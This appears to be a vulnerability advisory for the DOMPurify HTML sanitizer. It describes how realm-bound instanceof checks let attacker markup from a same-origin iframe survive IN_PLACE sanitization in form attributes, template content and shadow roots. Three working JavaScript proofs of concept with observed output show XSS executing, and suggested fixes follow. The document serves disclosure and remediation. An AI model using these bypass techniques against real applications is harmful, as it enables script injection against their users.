Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound "instanceof" checks CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound "instanceof" checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm) Summary "DOMPurify.sanitize(node, { IN_PLACE: true })" accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, "instanceof HTMLFormElement", "instanceof NamedNodeMap", "instanceof DocumentFragment", and "instanceof Element" all return "false" for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm "<template>"'s ".content" is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node. Affected - DOMPurify ≤ 3.4.5, including "main" at "89da34e03ec17868e561f87f3747a9371b61a9e7" - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created "<iframe srcdoc>") and then calls "DOMPurify.sanitize(foreignNode, { IN_PLACE: true })" against a sanitizer instance bound to a different realm Not affected: - String-input "DOMPurify.sanitize(dirtyString)" — the library calls its own parser inside "_initDocument", the resulting nodes belong to the sanitizer's own realm, and the "instanceof" checks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance Vulnerability details The unifying defect is that "_isClobbered", "_sanitizeShadowDOM"'s template-content recursion, and "_sanitizeAttachedShadowRoots" all use realm-bound "instanceof" checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects. [A] — "_isClobbered" gates on "element instanceof HTMLFormElement" "src/purify.ts:1120-1140": const _isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm <form> element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); }; A foreign-realm "<form>" is an instance of the foreign realm's "HTMLFormElement", not the parent realm's. The leading "instanceof" short-circuits to "false", so "_isClobbered" returns "false" regardless of the named-property clobbering present on the form. The follow-on "_sanitizeAttributes" then iterates "currentNode.attributes" — which itself can be a clobbered value (a foreign-realm "<input>" whose "name="attributes"" shadows the form's real "NamedNodeMap"). The attribute walk traverses the wrong collection and never reaches the actual "onmouseover" / "onclick" / "action=javascript:" attributes on the form root. [B] — "_sanitizeShadowDOM" gates template recursion on "content instanceof DocumentFragment" "src/purify.ts:1660-1662": while ((shadowNode = shadowIterator.nextNode())) { ... _sanitizeElements(shadowNode); _sanitizeAttributes(shadowNode); /* Deep shadow DOM detected */ if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound _sanitizeShadowDOM(shadowNode.content); } } The same check exists in the main iterator at ":1861-1862": if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound _sanitizeShadowDOM(currentNode.content); } For a "<template>" element constructed in a foreign realm, "template.content" is a "DocumentFragment" from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled "<img src=x onerror=...>" etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does "node.cloneNode(true)" / "importNode(template.content, true)" / inserts it into the live DOM, the embedded handler fires. [C] — "_sanitizeAttachedShadowRoots" gates recursion on "sr instanceof DocumentFragment" "src/purify.ts:1702-1712": if (nodeType === NODE_TYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound _sanitizeAttachedShadowRoots(sr); _sanitizeShadowDOM(sr); } } For a host element constructed in a foreign realm with "host.attachShadow({mode:'open'})", "host.shadowRoot" is a foreign-realm "ShadowRoot" (which extends the foreign realm's "DocumentFragment"). The "instanceof DocumentFragment" against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content. The mismatch DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's "_isNode(dirty)" at ":1750" is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. "[A]" / "[B]" / "[C]" each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., "nodeType === 11" for "DocumentFragment", tag-name comparison for "HTMLFormElement" recognition). Proof of concept Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm "DOMPurify.sanitize(node, { IN_PLACE: true })" and verifies that handler execution succeeds on subsequent activation. PoC 1 — cross-realm form clobbering survives const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form); DOMPurify.sanitize(div, { IN_PLACE: true }); window.__dompurify_xss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.__dompurify_xss === 1 }; document.body.appendChild(iframe); Observed (Chromium 148, DOMPurify 3.4.5, HEAD "89da34e"): { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "<div id="dirty"><form onmouseover="window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1"><input></form></div>", "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1", "xssExecuted": 1 } } PoC 2 — cross-realm "<template>" content is never walked const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); const tpl = idoc.createElement('template'); tpl.innerHTML = '<img src="x" onerror=' + '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">'; div.appendChild(tpl); DOMPurify.sanitize(div, { IN_PLACE: true }); window.__dompurify_template_xss = 0; const clone = idoc.importNode(tpl.content, true); document.body.appendChild(clone); // fires onerror }; document.body.appendChild(iframe); Observed: { "before": { "templateIsMainRealmHTMLTemplateElement": false, "contentIsMainRealmDocumentFragment": false, "contentIsForeignRealmDocumentFragment": true }, "after": { "templateInnerHTMLAfter": "<img src="x" onerror="window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">", "xssExecuted": 1 } } PoC 3 — cross-realm attached shadow root is never walked const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const host = idoc.createElement('div'); host.attachShadow({ mode: 'open' }).innerHTML = '<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>'; DOMPurify.sanitize(host, { IN_PLACE: true }); window.__dompurify_shadow_xss = 0; document.body.appendChild(host); // shadow activates, onerror fires }; document.body.appendChild(iframe); Observed: { "before": { "hostIsMainRealmElement": false, "shadowRootIsMainRealmDocumentFragment": false, "shadowRootIsForeignRealmDocumentFragment": true }, "after": { "shadowRootInnerHTMLAfter": "<img src="x" onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>", "xssExecuted": 1 } } All three PoCs run cleanly against "dist/purify.js" built from current "main" HEAD "89da34e". Impact Direct Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for "<base href>" isolation, "document.write" sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with "IN_PLACE: true" is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in: - Form root attributes — "onmouseover", "onfocus", "onclick", "action="javascript:..."", "formaction=", "target=", "id=" (DOM-clobbering target), and the full attribute-allowlist set, because "_sanitizeAttributes" walks a clobbered ".attributes" instead of the real "NamedNodeMap". - "<template>" content — "<img onerror>", "<svg><script>", "<iframe srcdoc>", etc., because the inert template tree is never recursed into. - Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely. XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with "importNode" / "cloneNode(true)" / "node.appendChild(template.content)" into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and "<img onerror>" fires synchronously during the insertion microtask). Indirect / second-order - DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm "<template>" parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization. - Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / "<base>" / form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass. The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound "instanceof" checks at "[A]", "[B]", "[C]"; current "main" HEAD is still affected. Root cause Per-realm constructors. "instanceof X" checks the prototype chain against the parent realm's "X.prototype". Foreign-realm objects have a different "X.prototype" and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for "IN_PLACE" sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root." Other realm-bound "instanceof" sites in the same file that should likely be audited as part of the same fix sweep: element instanceof HTMLFormElement // src/purify.ts:1122 element.attributes instanceof NamedNodeMap // src/purify.ts:1126 sr instanceof DocumentFragment // src/purify.ts:1706 currentNode.content instanceof DocumentFragment // src/purify.ts:1861 shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx) currentNode instanceof Element // src/purify.ts:1296 (callsite of _checkValidNamespace) Suggested fix Use realm-independent shape checks consistently for any decision made on a node accepted from "IN_PLACE": 1. "HTMLFormElement" detection — compare via the realm-independent "getNodeName" cached prototype getter introduced for the recent shadow-root traversal hardening: const _isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... }; 2. "DocumentFragment" detection — "nodeType === NODE_TYPE.documentFragment" (i.e., "11"), not "instanceof DocumentFragment". The check is already realm-independent because "Node.nodeType" is a numeric constant. Same change for the "<template>"-content and attached-shadow-root recursion sites. 3. "NamedNodeMap" detection — read "element.attributes" via the cached "Element.prototype.attributes" getter (introduce "getAttributes = lookupGetter(ElementPrototype, 'attributes')") and verify "nodeType === 11"-style shape (length is a number, indexed "[i]" returns objects with ".name"/".value" strings). Do not rely on "instanceof NamedNodeMap". 4. "Element" detection at ":1296" — replace "currentNode instanceof Element" with a shape check ("getNodeType(currentNode) === NODE_TYPE.element"). The invariant the fix should encode: once "IN_PLACE" accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.